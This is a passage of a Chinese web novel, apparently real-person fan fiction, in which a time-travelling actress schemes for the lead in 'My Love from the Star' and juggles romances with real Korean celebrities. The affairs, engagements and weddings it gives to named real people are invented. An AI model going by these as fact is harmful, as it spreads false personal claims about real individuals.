「D社都拍到多少回了？正常的朋友也不可能在服兵役期间见这么多次面吧！」 「都是公认的秘密了，只是两位没有公开而已，粉丝在嘴硬什么？」 「让开，我只 想看三位雕塑一样的美貌。」 「就是关于兵役、恋情之类的话题，你们能不能自己开个帖子吵？就在宋玉妍的ins下，是怕无人在意你的评论吗？」 …… 开幕式很快就开始了，宋玉妍拿着手机对准台上的主持的李株赫。他算得上是南韩最适合西装的男艺人之一。 裁剪合身的黑色西装显得他更加肩宽腿长，衬得整个身体的比例趋向于完美。丝绒的质地为他平添了一份矜贵，就连额角散落下的头发丝都透露着帅气。 左胸上的珐琅紫藤花胸针是黑白里的唯一亮色，和他的脸一起抢夺着观众的注意。 拿着麦克风站在台上，灯光打在他硬朗的轮廓上显得更加有距离感，整个人透着一股淡漠疏离。但当李洙赫的视线扫到宋玉妍时，那份淡漠瞬间消弭殆尽。 导播像是偏爱那位种花女主持的长相，短短的一分钟致辞给了三次特写。 另一位专注拍台下reaction的摄像师像是在较劲，导播每切一次特写，他就把镜头怼到宋玉妍的脸上。 她从一开始的礼貌微笑，到后面营业性质。三番两次之后，表情管理到脸部肌肉精疲力尽。冷着脸的宋玉妍，气质和身上的温婉紫色纱裙大相径庭。 「虽然那位的美貌上了韩世趋，但是我们宋玉妍的犯了罪一样的美貌也毫不示弱呢。」 「完全就是为国争光级别的！」 「我不知道我的眼睛是不是有问题了，明明之前最喜欢柔和、元气的长相。但是看到宋玉妍ins上的那张照片之后，忽然觉得有些索然无味。」 「我也是，虽然和朋友还是说，最喜欢秀智和娜琏，但是每次看到宋玉妍的图都会悄悄存起来。」 「之前骂她我没有少骂，都是图也是一张都没有少存。尤其那一次黑客爆出她私人的聊天记录，你们忙着八卦，我忙着存图。」 「你们就没有发现，李株赫的胸针和宋玉妍的礼服是互相呼应的吗？」 「只是颜色都是紫色而已，和也能联系起来吗？」 「快去看品牌方的主动认领，在ins上po出的原图，裙摆那一圈是有紫藤花的绣花。但是因为直播的摄像机画质不够清晰，看不太出来。」 看着台上分猪肉一样的场景，宋玉妍有些无聊地打了个哈欠。她喜欢的团今年都没有来，bigbang遭遇了太多变故、winner没有拿到主办方的邀请。 但是看到mamamoo的时候，她的眼睛里满是复杂。听到最佳solo艺人的报幕时，终于绷不住笑出来声。 就算靠着对李株赫的爱意，这场晚会宋玉妍也就只撑了三个多小时。找各个爱豆，一起拍摄完推广cilo所需要的视频素材之后，她就离席了。 —— 两人自19年mama之后，就公开了恋情，没有再吊着网友的胃口。 22年在济州岛最北边的一个小教堂结了婚，GD自然是伴郎。除了名流显贵之外，yg公司的艺人几乎都到场了。 伴娘团的阵容也丝毫不逊，预备议员的崔宝祯、大势女团gfriend的成员银河…… 狗仔为了拍到一手的新闻图片，不惜大手笔地租借了游艇，从海上架着各种大炮往岛上拍。 财阀千金当伴娘，还是给网红当伴娘，这可是建国以来头一遭的新鲜事。 宋玉妍在路过洁白的玫瑰扎成的花门时，看着不远处的那道身影，头纱下泪如雨下，握着捧花的手止不住地颤抖。 也幸好化妆师定妆够瓷实，不然不完美的妆容会破坏完美的仪式。 等GD和太阳一起唱起《weddingdress》的祝歌时，站在神父前的两人，都忍不住捂着脸，别过头去微微抽泣。 等收拾好情绪，才互相把闪耀的戒指圈在无名指上。 “洁白的婚纱在草地上拖着，以后你会和他天长地久……” 远处绿草如茵，碧波折射出来的金光映入眼眸，爱人的眼底有着万千柔情。 第119章 第一百一十九章李正宰（后续） 天旋地转中，无数的场景在宋玉妍的晶状体前，像镜子一样，裂出一道道缝隙，不断破碎，然后又重组。 闪过的时间，像是不断在回溯坐标。 熟悉了这种感觉的她，只有微微的眩晕感。强迫自己不去注意碎片里的情景，没有一开始的头昏脑涨。 像是之过去了一瞬间，又像是被抛入了永恒。 等宋玉妍感官苏醒过来的时候，她手边摁灭的烟蒂还散发着余热，清寒的晨风吹拂在她裸露的肌肤上。 “咔哒”，门把手被转动的声音，被她的耳朵捕捉到了。 从卧室穿过，李正宰把连接庭院的门打开之后。脸上挂着幸福的笑意，平常看起来有些阴鸷的眼睛，现在泛着柔和的光芒。 “怎么一大早就穿这么点在吹风？” 宋玉妍看到他的一瞬间，眼睛里先是划过一丝愕然。 她是实在没有反应过来，上一个世界她陪李株赫参加过很多时尚活动。也见到李正宰的那几面，他都是和林世龄成双入对。 李正宰看到她脸上未加收敛陌生感时，他的眉毛向中间聚拢，眼睛微眯起来。随后靠着演员对面部肌肉的强大控制，表情刻意地放松了。 他贴了贴宋玉妍的手背，“手有些冷，先进去吃早饭吧！” 宋玉妍有些不习惯他蓦然贴过来，异样温热的触感，带着一丝粗糙的干燥。她把手收拢到两侧，垂着眸没有看到李正宰愈加失控难看的神色。 “先吃早饭吧。” 她先进了房间，裙摆消隐于房间门内，飘荡在空中的那抹绿色，好像让人完全握不住。 李正宰盯着远处的木柱看了半响，很是疑惑为什么会这样。明明昨天两人还温存这，她一口一个“欧巴”，说要一起结婚的。 而今天早上一起来宋玉妍看他的表情，和不熟悉的人无疑。 烦闷让他不自觉地握住口袋里的定制打火机，仿佛想要从中汲取一点力量。条件反射般，摸烟的手顿住了。他用力地揉搓了自己的脸蛋，只碰到了一手扎手的青茬。 宋玉妍在浴室看到那朵粉丝的芍药时，原本的记忆像是潮水一样将她笼罩。 从昨夜的温存到早上的那一支烟，记忆的回笼让她对这个世界的陌生感消弭了不少。只是……她很久都没有演戏了，对于演技还是要多复习。 娇嫩的、又长又卷的花瓣因为失了一夜的水分，顶部有些蜷缩了起来。她握住这朵芍药，因为缺水不够柔滑的茎部，把它扔到了垃圾桶里。 毫不犹豫的动作，让粉色的花坠入了垃圾桶里。娇美的花瓣砸在漆黑的塑料袋上，显得格外可怜兮兮。 等她从浴室出来的时侯，李正宰已经帮她把餐具摆好了，眼角眉梢间都是温柔。 “草莓松饼你试试看？我特意让厨师放的低脂奶油。” 坐到餐桌边，宋玉妍拿起勺子往盘子里轻轻切刮了一下。绵密雪白的奶油和艳红的草莓酱沾染上银色的金属凹面，口腔里带着甜味和丝丝蓬松的热气，甜蜜地像是幸福的味道。 “欧巴，你早饭吃了吗？” 不疾不徐的轻声慢语，让李正宰悬着的心放了下来。虽然对方对他的态度还是有些莫名的违和感，但是至少眼底，不再是一片疏离的态度了。 “喝了杯黑咖啡。”他像是有些忙，注意力一直在手机上回复消息。 “莫？” 像是在解答她的疑问，也像是在邀功，李正宰毫不犹豫地把原因说了出来。 “我和《暗杀》的剧组说好了，要提前进组。要演廉队长双面间谍的角色，自然还是要再瘦一点。” 隐匿于黑暗中的灰色人物，自然应该是消瘦的、阴郁的，这样在外形上才会更加贴近一些。 听到这话的宋玉妍嘴角瞬间绽放出小括号，弯起来的眼眸里像是注入了星光，显得格外的温柔。 《来自星星的你》的女主她肖想很久了，现在《暗杀》剧组要演员提前进组。全知贤是不能同时接下两个剧本的。那样的话制作方能够看到她了，至少会把她纳入备选的名单里。 宋玉妍嘴角的弧度勾的更大了，身体穿过餐桌的上方，给对面的李正宰在脸颊上亲了一口。嘴唇既没有抹口红也没有抹唇膏，温热而富有弹性的一触既离。 “欧巴，你太棒了吧！” 因为兴奋，或者是这么久终于得尝所愿了，她嘴里的甜言蜜语像是豆子一样蹦了出来。“除了你，忠武路新生代哪还有能扛起大旗的男演员呀！谁能在一年里主演的电影，票房都这 么高……” 听到宋玉妍越说越离谱，仿佛明年的戛纳是他的囊中之物，后年就能走上奥斯卡红毯。 李正宰制止了她连绵不绝的话语，说：“只可惜不能陪你去看小樽运河两旁的枫树了，我明天就要回国，准备进组集训。明明这是你期待了很久，就连运河两边的博物馆，你都做好了攻略。” 对于这个昨天新上任的未婚妻，没有买好戒指就要分别。两人如果都进组了，怕是至少两三个月都没有时间培养感情。一想到这里，他心底的危机感就骤升。 “怎么会呢？欧巴！”宋玉妍的语气简直是可以甜到滴出蜜来。 “小樽运河旁的枫树，每年都会迎来秋季，不管是哪一年我们一起看，那一年的枫叶就是最美的。” 听到这话，李正宰不安的心情才被安抚下来。虽然知道他们两人之间的感情，掺杂各种纯粹的利益。但是他知道，现在不会有些开出的价码比他还多。 等宋玉妍吃完之后，他用纸巾轻柔地帮她把嘴角沾染上的奶油拭去。就算感情不是百分之百纯粹又能怎么样？现在只要她人在身边就好。 —— 仁川机场，宋玉妍看到自己的私人行程有粉丝接机也不生气，反正她和李正宰的航班是错开的。 这个航班也是她特意向大粉透露出来的，目的就是为了增加曝光。 她穿着香奈儿当季的高级手工坊经典套装，里面的格子印花是这一季从苏格兰获取来的灵感。裁剪得体的格纹呢面料用硬挺中和了她面部柔和的线条，爱丁堡的风格和现代的都市，碰撞出一丝复古的浪漫。 原本在蹲爱豆的站姐，看到宋玉妍这套的出街look也忍不住把摄像头对准了她。嘈杂的背景里，人来人往的交谈声中，她是唯一的光源。 看到自己的粉丝被那些大势的爱豆站姐挤到了一个角落，宋玉妍快步地走了过去，一个个在各种周边上签了名字。看到和徐仁果一起合作《主君的太阳》的海报，眼底划过一丝怀念。 对于粉丝来说，可能是大半年前的事情，但是对于她来说，已经是尘封在记忆里的往事了。 “欧尼，你还记得这部剧啊！”这个女生应该是个cp粉，看到宋玉妍主动走过来，拿着水笔在双人的海报上利落地签名，有些受宠若惊。 在《主君的太阳》里，宋玉妍只是一个镶边的女二号，这部剧对于她的加持远远没有《继承者们》大。粉丝以为她和徐仁国炒完cp，就会开始提纯cp粉，然后避嫌。 “当然了，不管是我还是徐仁国xi都为这部剧付出了很多。剧里的小太阳和姜宇一直在好好地生活呀！” 听到这句话，cp粉真的死而无憾了，就算今年sbs的最佳cp没有抢到，也都足够了。 等宋玉妍离开机场后，她的穿搭立马就被打印成照片放到了香奈儿公关部负责人的桌上。 负责人翻阅着一张张图片，眉头舒展，这套衣服被宋玉妍诠释的很好。再刁钻的的角度，她也没有任何一张崩图。 “你们找人给她送一点我们的新品，人家两次把香奈儿穿出圈居然都是自费。” “部长，我们给艺人的置装额度没有那么多，更何况的是她是香水线那边的代言人。况且……”不是要维持品牌的格调吗？ 香奈儿和普通的奢侈品牌不一样，他们顾客的受众一向只有富豪阶层。 负责人恨铁不成钢地瞪了一眼，“人家带着我们的造型出圈了，你管她是那条线的代言人。置装费的额度不够就先借她服装，你以为南韩的市场是种花吗？” 不管怎么样，都有足够大的市场为奢侈品买单？在种花香奈儿和爱马仕是竞品，但是南韩的富豪阶层就那么一小撮。香奈儿不自己想办法扩大目标客户，就眼睁睁地看着利润萎靡吗？ “好的，我知道了。” 想到刚刚机场的广告灯箱里，有她的推广海报。那张看腻了的脸，拿着粉邂逅的香水瓶别具魅力，宋玉妍心情很是不错。 一片片落叶贴在透明的车窗上，很快又被卷起来的疾风吹来下去。被车轮碾过，停留在了路边。 李智真一边转着方向盘，一边打趣道：“恋爱就那么让人快乐？” “欧尼！阿尼，是因为在机场看到了自己的地广，所以心情格外不错。” 宋玉妍坐在副驾驶上，看着自己要被堆满的工作邮件。因为心情好，选择都接了下来。 接下来拿下《星你》的女主，还是要让老板帮忙。当然要先赚点钱，给他一点甜头。 “虽然这样的话有些不合时宜，但是我还是要和你说。就算再喜欢李正宰xi，也记得留三分爱自己。” 关于刚开始带宋玉妍，很多工作机会都是直接推到她邮箱。帮忙推荐的人选，李智真其实是有答案的，只是看破不说破而已。 第120章 第一百二十章 休息好了之后，宋玉妍继续骚扰自家老板，保持每天十通的电话频率。裴永俊甚至想要把她拉黑，是在是太能磨了。 被她连续骚扰了三天的裴永俊，实在是忍无可忍。这次接到宋玉妍的电话之后，他没有再左顾而言他。 “小姐nim，金秀闲已经是定好的男主了，keyeast不能不给其他的公司留下一口汤啊！” 有眼睛的人，都能看出《来自星星的你》已经提前预定了14年的爆剧。现在每一个主要角色，都是各大经纪公司的抢手货。结果他们一个公司包揽男女主，以后还有谁会带他一起投资？ “代表nim，明明是你之前答应我的，只要拿下香奈儿的拍摄海报、全知贤xi不接这个角色的话，你就尽力帮我争取的。” 宋玉妍当然听出了他的无奈，娱乐圈的项目都是资本的游戏。 如果光靠她的演技，拿下三大台的台庆剧，几乎是不可能的事情。 听到宋玉妍的话语，裴永俊整个人愣住了。全知贤拒演的消息他也是才知道，为什么自家艺人像是毫不意外？ “你知道她早就会拒绝？” “《暗杀》一直在邀请李正宰。”其他的话她也就不说破了，老板是聪明人，自然能够明白她的言外之意。 如果费了这么大劲 ，最后为他人做了嫁衣，宋玉妍怕是会一个月都气的吃不下饭。 没想到自家艺人居然还有这本事，为了抢资源几乎是无所不用其极。 裴永俊隔着电话，嘴角勾起温润如玉的笑容。这才是他初遇的时，那个眼里满是野心、想要向上爬的艺人。 “你一定要接下这个剧本吗？” “内。”宋玉妍的语气里满是斩钉截铁，随后又补充了一句。 “其实李正宰xi也可以给我提供资源，只是我觉得keyeast毕竟对我有知遇之恩。” 她像是在威胁对方，只是语气里轻声细语的温柔，对冲了这份威胁。 裴永俊看了一眼这半年的财报，在宋玉妍这一页久久未翻页。 虽然宋玉妍给他带来的收益不足预期。但她正处于演员的黄金年龄，只要不结婚生子，未来五年的回报率几乎是稳赚不赔的。要是真的让这个还未长成的招财树跑了，他都没有地方哭去。 他只能单手把眼镜摘下，揉捻着昏胀的太阳穴，像是这样能够让他清醒一点。一边拿起内线电话和司机说，等会要去拜访黄部长，一边约sbs的副台长小聚。 “这个角色我尽力帮你争取，但是……”说到这，他的语气里带上了恶狠狠的意味。 “你要好好给我赚钱，不然我和股东没法交代。” “那是当然了！”她的语气里听不出丝毫的敷衍。 挂了电话的裴永俊认命地叹了一口气，从抽屉里拿出醒酒药带上。 今天晚上的酒局，还是有一场硬仗要打。想到之前宋玉妍的资源，大部分都是自己找上门的，他心底的憋闷才稍稍好一点。 生意人向来都是不做赔本买卖的。 知道裴代表一直在为她的角色和sbs的高层扯皮。坚持不懈地要把自家两个演员，都打包塞进组里，宋玉妍对自家老板的效率很满意。 能够白手起家，从日本火透半边天的韩流天王转型成成功的商人，裴永俊在事业上目前还没有尝到过失败的滋味。 宋玉妍这段时间除了跟着自家老板一起出席各种私人活动，就是和香奈儿品牌打好关系，就连普通的商业活动都主动出席。 看着她对香奈儿如此上心，裴永俊从侍应生的盘子里拿了一杯香槟。还很不是滋味的说“你要是能把这样的精力放在其他的工作上，多上一点心，忠武路都能闯进去。” 忠武路而已，她和原主都闯荡过，说实话也就那样，完全就是南韩电影人自娱自乐的圈子罢了。 “代表nim，奢侈品牌尤其是顶尖的奢侈品牌，对于艺人商业价值的加持简直无法想象。” 宋玉妍给品牌站台归站台，代言的产品都是精挑细选过的。 “你就准备进组吧！”裴永俊拿着香槟小声在她耳边说道。不管怎么样，最后还是都搞定了。 看到自家老板笃定的神情，她得尝所愿之后，心情反而没有想象中的激动。而是顺口给老板画饼：“代表nim，你放心吧，我和金秀闲xi一定会给你赚很多很多钱。” 她笑起来像是这一方天地都被她照亮了，莹润的肌肤反射着钻石吊灯下的碎光。她伸出纤细柔嫩的手指，迅速遮住富有挑逗性而不自知的红唇。 细声在裴永俊的耳边耳语道：“《星你》的剧本我看过了，只要我和金秀闲xi好好发挥，不怕观众不觉得意难平。等到时候我们把cp炒起来，后续可以开见面会、卖演员周边、合体让你赚双倍代言费……” 她靠的太近了，薄嫩的肌肤不断散发着热气，柔和甜美的美人香像是毒药一样堵塞着他的嗅觉。 裴永俊垂着眼眸，睫毛下是一片阴翳，隔着薄薄的镜片让人看不太清他的神色。 只有他自己知道，他觉得这个味道太浓了，握着香槟的手不断用力。好不容易等鼻子适应了这像是裹着蜂蜜的荔枝玫瑰味的清甜之后，他混沌的脑袋才恢复了一丝清明。 好半天他才反应过来，宋玉妍说了些什么。听她这样一分析，似乎两个主演在同一个公司给他带来的收益更大。 等喉结滚动了一下，给干哑的口腔带来一丝湿润，他才找回了自己的声音。“李正宰xi不会生气吗？你和其他的男演员炒cp？” 语气虽然带着开玩笑的意味，包含着打趣、隐秘的欣喜。但裴永俊他自己知道，他想要窥探两人之间的情感状态。如果……只是如果，这两人不睦就好了。 那样宋玉妍能够依靠的就只有他了，他也不必听到那个让他厌恶的名字。 “不会呀！我和李正宰xi订婚了，他很好哄的。再说了他也是演员，应该知道这种炒cp不过是惯用的伎俩，就像是他的电影上映之前也会搞出一些噱头一样。” “这样啊！” 原本放松了的双手，又重新加重了力道，左手握成了拳放在贴在中线出抖动着。裴永俊用尽了全身的力气克制着情绪，像是自嘲一样，扯了扯嘴角。 “订婚快乐，我都没有给你准备订婚礼物。” “没关系的，到时候结婚的时侯你来，一起补上就好了。” 宋玉妍装作不知道，自家老板是在强颜欢笑一样。漫不经心地往他已经漏了一个大洞的心脏上，再插了一刀。 准备进组前，她先带着应援咖啡车和跌打药油，先去探班李正宰。 《暗杀》的导演崔东勋在商业动作片上的成就十分两眼，他长处是在动作画面上的调度十分到位。 拿下韩国本土票房最高的《盗贼同盟》，是他41岁时的作品。对于一个导演来说，他现在还太过年轻。 可在对剧组演职人员的要求，崔东勋完全不像是他年纪那样好说话。还没有正式开拍，在集训的时侯，他就要求所有的演员必须合宿，演员必须拒绝所有的商业活动。 这部电影因为背景的特殊性，主要的拍摄地定在种花上海。海外拍摄的制作费比在国内的花销都是翻倍增长，崔东勋导演压力大，自然对演员的要求高。 在看到站在咖啡车旁边的宋玉妍时，李正宰还有些不可置信。这段时间她的通告单他也看过，两人忙碌到唯一的交流只有夜晚的电话时间。 “你怎么来了？”他看着被印在咖啡车上，是他在《新世界》里的李子成。她到底是有多爱这部电影，顺手接过她递过来的冰美式。 “下个星期可能要进组，没有办法和你见面了。” 宋玉妍看着他消瘦的面容，有些无奈，电影的拍摄就是这样。剧组好坏全靠导演的性格，有的磨人、有的就能笑呵呵地把氛围搞好。 李正宰带着她先去旁边的酒店休息，说是酒店，其实更像是旅馆。 这里离首尔不算近，反而更加靠近江道原，入冬后气候自然要更冷一点。 到了房间之后，宋玉妍没有把自己当外人，扫视一圈得出来的结论是：这里的居住环境，比她的考试院还要差。 就算被助理收拾过两轮，屋子里还是萦绕着一股挥之不去的潮湿味，加起来也不到四十平方的空间。 “你晚上还要继续训练吗？”她搬来房间里唯一的一把椅子，然后坐下。 本来晚上是还要继续训练的，李正宰犹豫了一下，还是给导演发了消息告假。 “没有训练，要带你在附近逛一逛吗？” 这样啊，宋玉妍看着本来就瘦的男人，短短两旬又瘦了一圈，眼睛里闪过一丝心疼。 拍过武打戏的演员都知道，这不比文艺片轻松，稍不注意就容易受伤。 “欧巴，你把衣服脱掉吧！” 听到宋玉妍这样说，李正宰倒吸了一口凉气，看向窗外。 阴天的夕阳不是金色的，丝丝缕缕的白光并不明亮，但还是轻轻地在窗框上挪动着，弯弯的寒月挂在深色的天幕上。 “在剧组你留宿不太好。”他只能尽量委婉地拒绝，民宿的隔音不算好，何况他左右住的都是女演员。 “想哪去了？”宋玉妍用上翘的丹凤眼，白了他一眼。“我是心疼你一直训练，身上都会有淤青，用药油给你揉揉。” 其实……助理也一直会帮他把身上的淤血给揉开，但女友主动提议了，李正宰哪有拒绝的道理。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 第一百二十一章 李正宰迟疑了片刻，走到了窗前，把傍晚沉郁晦涩的天空关在了窗帘外。 布料拉不拢，只留下一条薄薄的缝隙。白色的冷晕从中钻了进来，打在陈旧的地板上。浮尘在在光束下飘荡，就像是他的心情。 浅灰色的长外套被他收到衣柜里，身上只留下白色的t桖。李正宰交叉着手，毫不犹豫地把衣摆处的布料从下往上地卷了上去。 因为背对着宋玉妍，手臂用力导致背阔肌的扩张的弧度十分明显。赤裸的身体上青色和紫红色的痕迹交织，几乎完全覆盖了原本的肌肉颜色。 “欧巴？ 你这是怎么弄的？“宋玉妍看着这可怖的痕迹，拧开药油的手停滞在空中，有些无从下手。 “拍武戏就是这样，前期的集训要做各种动作，不断在地上翻滚。被各种磕碰也是正常的。” 李正宰低头看了看自己身上的淤伤，有些不以为意。他趴在床上，安静地等着宋玉妍下一步的动作。 女人跪坐在床的一侧，小苍兰和琥珀的味道萦绕在潮湿的空间里，活泼的不像是冬日。垂下的长发偶尔扫在他的皮肤上，酥酥痒痒。 宋玉妍把手搓热，指尖按在他的身上。因为肌肉十分结实精瘦，这让她的推揉很不顺利。总是要费十成力，才能看到淤色消散一点。 “总感觉你好像变了一些。” 把下巴撑在枕头上的李正宰淡淡地发问，好像只是漫不经心地随口一提。 伏在床上的男人像是一只敏捷的花豹，宋玉妍因为他突如其来的发问，心下一惊。 指尖泄力，在他肩胛骨下方温热的皮肤上触碰着，像是一朵轻柔的云朵。 “欧巴，人都是会不一样的呀！现在我们两个的关系上是未婚夫妻，我当然要对你更好一点。” 宋玉妍轻轻柔柔地笑着，像是想要去吻他碎发下的眉角。 本来她的皮肤是冷的，但两人接触的那些地方，很烫，烫的得她接触那一部分的皮肤都变得温热了起来。像是篝火烧尽之后的木质味道，窗外的细风钻进来，一阵冷一阵暖。 李正宰的心脏先是重重地跳了一下，背对着昏黄的床头灯，心底涌上一阵复杂的甜蜜。这一会，他已经无暇去分辨宋玉妍的话，是真是假了。 “欧巴，你知道的，我要进组了，可能我们的恋爱关系还是不能公开。” 听到她这样吞吞吐吐地说明来意。李正宰的眉头顿时紧皱了起来，手臂从她的臂弯中抽出，原本分泌那点的甜蜜又被苦涩所替代。 一个翻身，他身体上被被子压出来的浅红印，就这样大大咧咧地露了出来。 “为什么？” “我要和金秀闲xi炒cp。”宋玉妍知道这个答案不那么容易让他接受。 “那我呢？”他像是有些烦躁，抓了抓额前的碎发，又想去床头柜上摸漆黑的烟盒。 “欧巴，你知道的，热剧前期的收视率，一半都要看cp的运营。”她讨巧地抓住对方的手臂，摇了摇。 宋玉妍知道骨子里不改强势的李正宰，没有那么容易接受未婚妻和其他男艺人炒cp。所以她早就想好哄他的办法。 “到时候等剧播完了，售后收尾之后，我们就结婚吧。” 她疑惑地歪了歪脑袋，看着他的反应，长发也随着扫到了男人敏感的腰窝处。 没有看到李正宰，如预料之中露出欣喜若狂的神色。男人从烟盒里面抽出一支细长的烟，不点燃只是放在手上把玩。腰部的敏感让他忍了下来，现在不是起旖旎心思的好时候。 “我们之间的婚姻对你来说，好像是一个可以交换的筹码？” 他的语气淡淡，神色淡淡，没有流露出丝毫的喜怒。只是声音比平常暗哑许多，不知道是因为克制还是因为暗恼。 意识到对方并没有那么好糊弄之后，宋玉妍的表情僵住了。随后把他的手臂重新抱了起来。 “欧巴，我是想拥有一份稳定的情感关系，这点你一直都知道不是吗？我要的是什么你一直都是知道的。”何必这样要揣测她。 宋玉妍做出泫泪欲滴的神态，她知道李正宰对于上一次分手，总是有些愧疚的。 而她，现在恰恰就在利用这份愧疚。 李正宰捏了捏烟嘴的部分，眼底划过一丝无奈。听到她说这样的话，只觉得心脏被一下一下地揪着疼。 “我知道的，我能理解，电影上映之前也要制造宣传锚点。”他微不可察地叹了口气，认命地把人揽进怀里。 “真的吗？”宋玉妍埋在他的颈窝处，闷声道。 “当然，都是娱乐圈的从业者，炒cp这样的宣传手段已经是司空见惯了。”他不情不愿地故作大度道。 看到宋玉妍立刻破涕为笑，眼尾的薄红慢慢变淡，李正宰哪能不知他这是进套了。 算了，人在他身边就好了，只要不是和上次在洗手间亲吻的那个男艺人炒cp就好。 —— 在十二月下旬初雪到来的天气里，《来自星星的你》开机开的很顺利。 导演拍的第一幕戏很简单，几乎没有绕口的台词。 拍完之后，宋玉妍接过崔玉珍递过来的温水，顺着吸管，吸了一口含在嘴里。 “中饭帮我去清潭洞的那家定两份轻食，不要沙拉酱、牛肉不要加芝麻。柠檬水按照我平时喜欢的温度来就好。” 助理听到她的要求后，马不停蹄地把掏出的各种东西收好。然后去按照宋玉妍的要求，把餐品提前订好。 等中午休息的时候，她没有回到自己的休息室，而是给助理打了个眼神。示意崔玉珍和她，一起把饭拿到隔壁的化妆室里。 金秀闲的经纪人听到敲门声过来开门，桌上合同的合同被合了起来。看到来人是宋玉妍，他的脸上浮现出一种很复杂的表情。 keyeast内部都在传老板疯了，为了把她送到《星你》剧组，花了很大的力气。还有人说，宋玉妍是老板的女友，只是现在在同一个公司，公开的话，怕传出来的消息不太好听。 经纪人不管传言的真假，面对她时勉强挤出来一抹笑容。 “宋玉妍xi你是要找金秀闲xi对戏吗？” “阿尼！”她指了指助理提过来的轻食，“是准备过来一起吃饭。” 看到他想制止，宋玉妍又继续说道：“这也是代表nim的意思。现在不多接触接触，后面宣传物料哪里来？” 听到她的话，金秀闲经纪人讪讪地把位置让开了。 “金秀闲xi，你吃轻食吗？给你也点了一份。”她看着自家助理把餐具摆放好后，轻声细语地询问道。 “不用了，我自己带了食物。”他笑笑，没有接话。安安静静地吃着自己前面的食物，好像对面的人不存在。只是睫毛颤动的频率更快了，稍稍一抬眼就能看到她如玉一样的指尖。 剩下的时间宋玉妍怎么也不继续和他交流，而是专心致志地吃着自己的食物。 为了保持体重，而制作出来的菜品味道自然算不上美味，只能说是差强人意。她几乎是蹙着眉心，一点一点地往嘴里塞。 看着她没有丝毫越界的动作，金秀闲捏紧了手里的筷子。被摁在心底的情绪几乎要把他的心脏挤爆，她为什么能若无其事？ 明明在cf拍摄现场先招惹他的人是她！主动在洗手间亲吻的也是她！现在却好像两人之间，就是纯粹的痛的同事关系一般！ 他夹了一块西蓝花放进嘴里，后槽牙用力把它磨碎。垂着的眼眸里满是隐忍的神色，从很小的时候，他就知道很多时候只有等待，最后才能得到自己想要的。 治疗心脏是这样，做演员是这样…… 等看到门口像是露出了摄像机，宋玉妍连忙换上了一副表情。脸上换上了温柔的笑容，丹凤眼微弯，像是整个人都在发光。 “金秀闲xi，你试试这块牛肉，煎的很鲜嫩。”她用干净的筷子给他夹上一块，放在他米饭表面上。 他看起来有些无动于衷，只是垂着眼睛，专注又配合地把这块肉送进嘴里，机械地咀嚼着。 看到他不配合，宋玉妍强势地把柠檬水放在他手边，带着不达目的不罢休的气势。 “金秀闲xi，喝点柠檬水吧，冬天对嗓子好，还可以补充维C。” 他接过对方手里的柠檬水，一脸无奈地拿到手里。 “康桑密达。” 看到摄像机的镜头如实记录下这一幕，她才满意地笑了。 结束完花絮的拍摄之后，她去了服装组那里。“香奈儿品牌方说能借一些衣服，你们看看能不能在剧里穿？” 负责她服装的cody看着自己的组长，两人面面相觑。最后还是给了宋玉妍她的邮箱，话没有说太死。 “如果有合适的我们会考虑用的。” “千颂伊可是国民级别的大明星呀，身上没有奢侈品怎么行呢。”她像是在建议：“如果其他服饰品牌赞助了，那我当我没有提过吧。” 看到女主也是随口一提的样子，服装组的工作人员有些急了，语气立刻软了下来。 “宋玉妍xi，我们审核一下看那些能用。” 都市剧服装出彩的话，整个服装组下一个项目报价都能变高。 看着她离去的背 影摇曳生姿，背后的工作人员好像都看到了，那位艳光四射的大明星真的从剧本里面被扣出来了一般。 明明在这个剧之前，宋玉妍接到最大的角色也只是文艺片的女一。没想到星味和气场都这么强，看来她的演技好像被圈内人低估了。 第122章 第一百二十二章 随着拍摄进度的加快，金秀闲对于宋玉妍的感情变得越来越复杂。电视剧的拍摄进度和电影不一样，是按照时间线的发展来进行拍摄的。 剧里都敏俊对于千颂伊心动而不自知的时候，他又何尝没有沦陷呢？ 原本克制的心脏不再受他的控制，每天在片场看到宋玉妍时，身体都是想与她接触的渴求。 宋玉妍看着他除了对戏有必要的接触，离自己越来越远的时候，只觉得这样下去不行。 幕后花絮最好嗑的糖点不就是cp感，如果男女主连基本接触都没有的话，谈何而来的cp感呢？ 很快《来自星星的你》就迎来了第一次放送，首播收视率达到了15.8%。要知道13年的大热剧《继承者们》，首播的收视率也不过11%而已。 和sbs高层一起聚餐的裴永俊，踌躇满志的给他们敬了一杯酒。 “没说错吧！我们家艺人，就是旺你们电视台。”这话一出，他自觉失语，虽然众人面上都是笑语盈盈。但他还是描补了一下，“也要感谢各位给与我们艺人的机会，互相成就、互相成就！” 虽然明眼人都能看得出来，《来自星星的你》成绩不会太差，但是不妨碍老板为自家艺人脸上贴金。娱乐圈里，大家都挺信玄学的。 黄部长：“来年还要多多合作，今年宋玉妍在我们电视剧的表现很不错。” 他拿着香槟气泡酒，主动和裴永俊碰了一个。 “当然没有问题，wuli宋玉妍就是对这部作品太上心了，居然还主动去拉香奈儿的赞助。” 裴永俊看似在批评自己的艺人，实则暗含炫耀。“和她说了很多次，不要越界，那都是组里服装老师的工作。” 在座的都是人精，怎么会听不出他的言外之意？无非就是想说明自家艺人，对于这部剧的看重。 “年轻人嘛！上点心是好事。” “对啊对啊，我们也喜欢这样自带赞助进组的。”就是高奢只能提升剧的质感，真论收益比不上快消品的。 “台里面当然对于这部剧，还是很看重的。到时候直接让《Runningman》给他们两个出一期特辑。” 听到这个承诺的裴永俊满意地笑了笑，这款国民级综艺，一向只邀请特别大势的爱豆和演员。而且一期节目的嘉宾越少，越说明艺人咖位越大。 《星你》开始播出之后，宋玉妍和金秀闲等cp粉开始弯道超车。 「这是两人三搭吧？三搭！」 「是的，光看脸的话，这两位的颜值对我的眼睛很友好。」 「没有想到宋玉妍，竟然能把强势跋扈的大明星饰演的这么好。尤其是电梯里那一段，气场太强了吧，第一眼甚至没有注意到男主。」 「香奈儿的出场率好高，是给了赞助吗？」 …… 在上海开始拍摄的李正宰看着YouTube上两人的CP向视频，后槽牙都要咬碎了。 明明这个剧他帮忙接下的，偏偏墨菲定律发生在了他的身上，越不想她和金秀闲炒cp，这样的坏事就越凑上来。 明天崔东勋导演放假，说是要去参观大韩民国临时政府，但他却怎么也睡不着。 打开**想在韩国的naver上搜搜他和宋玉妍连在一起的词条。结果入目就是：＃宋玉妍金秀闲超绝cp感、＃星你夫妇一定是真的吧…… 韩世趋前十这两人占了一半，李正宰本就郁闷的心情更加郁闷。反正横竖睡不着，他干脆翻身起来，坐到沙发上，给自己点了一根烟。 